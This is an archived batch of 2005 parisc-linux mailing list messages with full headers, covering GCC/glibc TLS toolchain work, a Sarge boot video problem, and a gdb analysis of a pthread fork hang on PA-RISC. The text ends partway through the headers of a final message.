	Sat,  9 Apr 2005 10:57:27 -0600 (MDT)
Original-Received: from [83.134.222.216] (helo=[83.134.222.216])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DKJGp-0008G8-EA; Sat, 09 Apr 2005 18:57:19 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <200504091515.j39FFtij022153@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JHIqYuxjeSE5+76WZHQhaXN2IGRvb4DB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22602



John David Anglin wrote:
>>what's up with gcc-3.3.x?
>>I never reach to complet the glibc build with gcc-3.4 (see detailed investigation in 
>><http://gcc.gnu.org/bugzilla/show_bug.cgi?id=17471>), gcc-3.5 at this time (now gcc-4) seems to solve this pb even thought there was 
>>some other pb to fix with this new compiler ;-S (but not enough time to investigate, sorry)
> 
> 
> I'm not aware of any GCC PRs related to this.
Sorry iirc those new pb wouldn't have to be the object of gcc pr but would more need some small changes in the glibc code to take 
into account the new gcc-4.x (may be some more always_use arrtibute?)

> A few PA specific bug fixes
> have been back ported to 3.3 and 3.4.
>
well mentioned pr #17471 was 2.3.3 glibc and 3.4 gcc related; today 2.3.5 is out, if I find some more free time I will try this new 
2.3.5 glibc with new 4.? gcc

Thanks for feedback,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS added relocations.
Date: Sun, 10 Apr 2005 03:48:04 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20050410104804.GL6987@tausq.org>
References: <20050405161549.GM1833@baldric.uwo.ca>
	<20050405162643.GB6987@tausq.org>
	<20050405163400.GN1833@baldric.uwo.ca>
	<20050405191612.GQ1833@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623749 13771 80.91.229.3 (22 Nov 2014 02:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 10:48:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 10 Apr 2005 12:48:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDE147D6AB;
	Sun, 10 Apr 2005 04:48:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29836-04; Sun, 10 Apr 2005 04:48:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 691627D6AC;
	Sun, 10 Apr 2005 04:48:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57E7B7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:48:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29767-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:48:08 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id D3B267D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:48:08 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id ADD52112152; Sun, 10 Apr 2005 03:48:04 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050405191612.GQ1833@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KWErYrQgeSE5+76WZHQhaXN2IGRvb8D9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22603

> If it can compile this then it's cool. Normal gcc/binutils chokes but
> the tls-toolchain works just fine :)
> 
> Please update your documentation, the symbols used for relocation don't
> match (e.g. $tls_dtlndx$ is really $tls_gdix$)?

Which documentation are you using? Please work off of
http://wiki.parisc-linux.org/ThreadLocalStorage
I've been keeping that up to date as I find bugs in the original design.

Once we get it sorted out we can go back to fix the PDF.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting Sarge (24-Mar) on c110
Date: Sun, 10 Apr 2005 10:17:08 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <42594374.2040803@earthlink.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623749 13774 80.91.229.3 (22 Nov 2014 02:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 15:19:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 10 Apr 2005 17:19:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5A477D67D;
	Sun, 10 Apr 2005 09:19:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32507-08; Sun, 10 Apr 2005 09:19:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29A727D67F;
	Sun, 10 Apr 2005 09:19:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 781B47D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 09:19:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32527-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 09:19:33 -0600 (MDT)
Original-Received: from pop-a065d01.pas.sa.earthlink.net
	(pop-a065d01.pas.sa.earthlink.net [207.217.121.248])
	by free.linux.hp.com (Postfix) with ESMTP id 099907D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 09:19:33 -0600 (MDT)
Original-Received: from h-68-164-14-7.chcgilgm.dynamic.covad.net ([68.164.14.7]
	helo=[192.168.2.2])
	by pop-a065d01.pas.sa.earthlink.net with esmtp (Exim 3.36 #10)
	id 1DKeDk-0005Cw-00
	for parisc-linux@lists.parisc-linux.org; Sun, 10 Apr 2005 08:19:32 -0700
User-Agent: Mozilla Thunderbird 1.0.2-1.3.2 (X11/20050324)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SyErYs1+eSE5+76WZHQhaXN2IGRvb8CH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22604

Everything works fine, up til the dreaded STI -switchover. So, it boots, 
but video isn't initialized right. Let's see: I'm using tty0, with 
monitor type 3 (1280x1024 Vesa), using graphics3.

Of course, it worked fine with kernel 2.4.x.

Suggestions?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Sat, 9 Apr 2005 19:44:22 -0400 (EDT)
Lines: 79
Approved: news@gmane.org
Message-ID: <200504092344.j39NiNMM024348@hiauly1.hia.nrc.ca>
References: <20050409063750.GQ1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623750 13776 80.91.229.3 (22 Nov 2014 02:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:50 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2005 23:45:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 10 Apr 2005 01:45:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 310537D6B2;
	Sat,  9 Apr 2005 17:45:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27565-05; Sat, 9 Apr 2005 17:45:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE637D6B5;
	Sat,  9 Apr 2005 17:45:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFD557D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 17:44:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27565-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Apr 2005 17:44:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2A59B7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Apr 2005 17:44:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j39NiNhF024349; Sat, 9 Apr 2005 19:44:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j39NiNMM024348;
	Sat, 9 Apr 2005 19:44:23 -0400 (EDT)
In-Reply-To: <20050409063750.GQ1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 9, 2005 02:37:50 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XAwqYvxzeSE5+76WZHQhaXN2IGRvbwCF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22605

> On Sat, Apr 09, 2005 at 01:58:52AM -0400, Carlos O'Donell wrote:
> > On Fri, Apr 08, 2005 at 06:54:20PM -0400, John David Anglin wrote:
> > > > Since technically this is not possible, the mutex .lock in __fork_block
> > > > makes sure that such a thing can't occur.
> > > 
> > > The program hangs doesn't it?
> > 
> > I just realized the program doesn't call pthread_atfork and it still
> > hangs. Though it doesn't hang on i386. Is there a relied upon semantic
> > we are missing here?
> 
> The following hangs and I don't really know why... maybe I'm just
> sleepy :)

I think it all comes down to the timing of the signal.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dave/gcc_test/pthr/carlos/foo
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 1051)]
Parent = 1051

Program received signal SIGUSR2, User defined signal 2.
[Switching to Thread 16384 (LWP 1051)]
0x4016db24 in __pthread_fork (b=0x406c2970) at ptfork.c:46
46      ptfork.c: No such file or directory.
        in ptfork.c
(gdb) p *((struct _pthread_fastlock *)0x406c2980)
$33 = {__spinlock = {lock = {1, 1, 1, 1}}, __status = 1}

or

Breakpoint 4, exit_on_signal (signr=17) at foo.c:17
17        fprintf(stderr, "Exiting on signal from child\n");
(gdb) bt
#0  exit_on_signal (signr=17) at foo.c:17
#1  0x40171e80 in __pthread_sighandler (signo=17, ctx=0x0) at sighandler.c:39
#2  <signal handler called>
#3  0x4016db24 in __pthread_fork (b=0x406c2970) at ptfork.c:46
#4  0x4062011c in __libc_fork ()
    at ../linuxthreads/sysdeps/unix/sysv/linux/fork.c:40
    #5  0x000108f4 in main () at foo.c:34
(gdb) p *((struct _pthread_fastlock *)0x406c2980)
$34 = {__spinlock = {lock = {1, 1, 1, 1}}, __status = 1}

If you look, you will see that __pthread_alt_lock has obtained a
lock with __status = 0, set __status to 1, then released the lock.
We then get the signal with __status == 1.  When the signal handler
exits with exit(0), __cxa_finalize tries to deregister the fork
handlers.  When it gets the lock, __status is 1.  This causes
the process to suspend itself.

The same thing could occur while the lock is taken.  In that case,
I think the process would spin trying to acquire the lock.

I number of other things to note.  If the signal handler uses
_exit() or _Exit(), the program doesn't hang.  If exit() is called
twice, the behavior is undefined.  I would argue that we don't call
exit twice but that's timing depend with the current testcase.
exit() isn't listed as async-signal-safe, so it's probably not
legit to call it from a signal handler.  Thus, this isn't a bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

PS: I think the ldcw_align macro can be improved.  It looks like GCC
is treating the pointer as volatile and generating icky code.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Sun, 10 Apr 2005 03:44:03 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20050410104403.GK6987@tausq.org>
References: <20050409050558.GL1833@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623750 13780 80.91.229.3 (22 Nov 2014 02:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 10:44:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 10 Apr 2005 12:44:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B18E57D680;
	Sun, 10 Apr 2005 04:44:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29439-10; Sun, 10 Apr 2005 04:44:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF2517D69C;
	Sun, 10 Apr 2005 04:44:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5837D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:44:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29450-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:44:08 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id AF8377D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 04:44:08 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 02C1E111F9B; Sun, 10 Apr 2005 03:44:03 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20050409050558.GL1833@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1mYrYvEjeSE5+76WZHQhaXN2IGRvbwC/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22606

> Still tacking:

Hmm.... I guess I must be using slightly different sources, and I see
different problems....

I'm using:
binutils CVS HEAD (20050409)
gcc-4.0-20050402 (ftp'ed)
glibc CVS HEAD (20050409)

First of all, the patches seem to be out of date. I've updated the
binutils and gcc ones.

http://www.parisc-linux.org/~tausq/hppa-tls-gcc.diff
http://www.parisc-linux.org/~tausq/hppa-tls-binutils.diff

I find some other issues with the glibc build. Carlos, a few of your
patches are malformed. They have CVS conflict markers in them.. :)

Right now my build fails when building tst-tlsmod14a.c with a gcc ICE. I
think my gcc patches are broken (no surprise there...)

I'll try to take a closer look at the gcc failure. The failure looks
like this (simplified to a small test program):

$ /home/tausq/tls/bin/gcc -O2 -fPIC -c tlstst.c
tlstst.c: In function 'in_dso1':
tlstst.c:21: error: unable to find a register to spill in class 'R1_REGS'
tlstst.c:21: error: this is the insn:
(insn 26 20 23 0 (set (reg:SI 28 %r28 [106])
        (plus:SI (reg:SI 19 %r19)
            (high:SI (symbol_ref/v/f:SI ("*.LC0") [flags 0x2] <string_cst 0x400b8780>)))) 46 {*pa.md:2717} (nil)
    (nil))
tlstst.c:21: confused by earlier errors, bailing out

Only happens with -fPIC. Likely I'm doing the rtl wrong in
legitimize_tls_address ()

tlstst.c is at http://www.parisc-linux.org/~tausq/tlstst.c

btw, Carlos, are you building glibc with linuxthreads or nptl when you
enable TLS? If I use nptl I get a lot of build errors very early in the
build process.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Sarge (24-Mar) on c110
Date: Sun, 10 Apr 2005 12:40:59 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <4259652B.4090007@earthlink.net>
References: <42594374.2040803@earthlink.net>
	<20050410165816.GF8669@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623750 13781 80.91.229.3 (22 Nov 2014 02:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:50 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2005 17:43:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 10 Apr 2005 19:43:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88AEA7D66A;
	Sun, 10 Apr 2005 11:43:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00888-09; Sun, 10 Apr 2005 11:43:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD6407D674;
	Sun, 10 Apr 2005 11:43:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2ACD87D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 11:43:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
